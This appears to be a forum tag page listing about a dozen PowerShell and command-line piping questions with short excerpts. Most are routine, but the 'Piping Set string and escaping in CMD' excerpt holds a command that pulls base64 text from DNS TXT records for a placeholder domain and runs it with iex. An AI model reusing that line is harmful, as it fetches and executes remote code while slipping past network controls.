All Questions
Tagged with pipe powershell
13
questions
-1
votes
2
answers
169
views
Pipe .exe output to text file
I have a utility exe which opens a new window when I run the exe directly or through powershell.
How do I pipe its output to a text file?
I have used
utility.exe > textino.txt
But it creates a ...
0
votes
0
answers
1k
views
Redirect the Windows console output of a Python script without raising UnicodeEncodeError
I have a Python script called scratch_1.py which can be simplified for the sake of the question to:
s = "∞"
print(s)
If I run the script in the Windows console, I get the expected output:
...
1
vote
1
answer
200
views
Delete trailing hashes in a list of URLs using powershell?
I got a bit rusty with PowerShell, and I am missing the correct search terms, so I hoping asking here is ok.
I have list of URL of the following structure:
/pub/pdf/ssm.supervisorymanual.en.pdf?...
1
vote
2
answers
3k
views
Unattended WSL Ubuntu 18.04 installation from powershell
Scenario
To automatically install and initialize WSL Ubuntu 18.04 with powershell, I am trying to initialize/set the first username and password automatically. However, when I first run the wsl from a ...
0
votes
1
answer
14k
views
How do i execute powershell command's with pipes in python?
import subprocess
subprocess.Popen('powershell.exe [Get-ADPrincipalGroupMembership %USERNAME% | select name]')
os.system('powershell.exe Get-ADPrincipalGroupMembership %USERNAME% | select name]')
I ...
1
vote
3
answers
900
views
Piping Set string and escaping in CMD
I'm trying to do:
echo|set /P="powershell "$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] };
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::...
0
votes
1
answer
394
views
How to redirect input in Powershell without BOM?
I am trying to redirect input in Powershell by
Get-Content input.txt | my-program args
The problem is the piped text is preceded with a BOM (0xefbbbf), and my program cannot handle that correctly. ...
0
votes
2
answers
2k
views
How to pipe input to Wireshark in Windows Power Shell?
I am trying to run the following command in Power Shell:
C:\Users\mne\Desktop\plink.exe -ssh -pw abc root@myhost "tcpdump -w - -U -i vethf90673c 'port 5000'" | &"C:\Program Files\Wireshark\...
10
votes
2
answers
13k
views
filter outputs using select-string pipes
In bash, if I do the following, I will get all the environment variables with wd in them.
env | grep "wd"
Now, in Powershell, I know I could do
get-childitem env:wd*
But I want to pipe to select-...
15
votes
3
answers
24k
views
Pipe file content into PowerShell command without loading the entire file to memory
I've recently started using PowerShell, hoping to never miss Bash again.
I want to restore an instance of a PostgreSQL database. In Bash, or in the old command prompt, I would type:
psql --...
33
votes
3
answers
48k
views
Using -replace on pipes in powershell
I want to test out a replace before I use it, so I'm trying to write a quick online command to see what the output is. However, I'm not sure what the syntax is. What I want to do is something like
...
4
votes
6
answers
12k
views
How can I both pipe and display output in Windows' command line?
I have a process I need to run within a batch file. This process produces some output. I need to both display this output to the screen and send (pipe) it to another program.
The bash method uses tee:...
59
votes
6
answers
40k
views
Why does Powershell silently convert a string array with one item to a string
Consider the following Powershell script, which searches for folders in C:\ with a 'og' in their name:
PS C:\> (ls | %{$_.Name} | ?{$_.Contains("og")})
PerfLogs
Program Files
setup.log
Now I narrow ...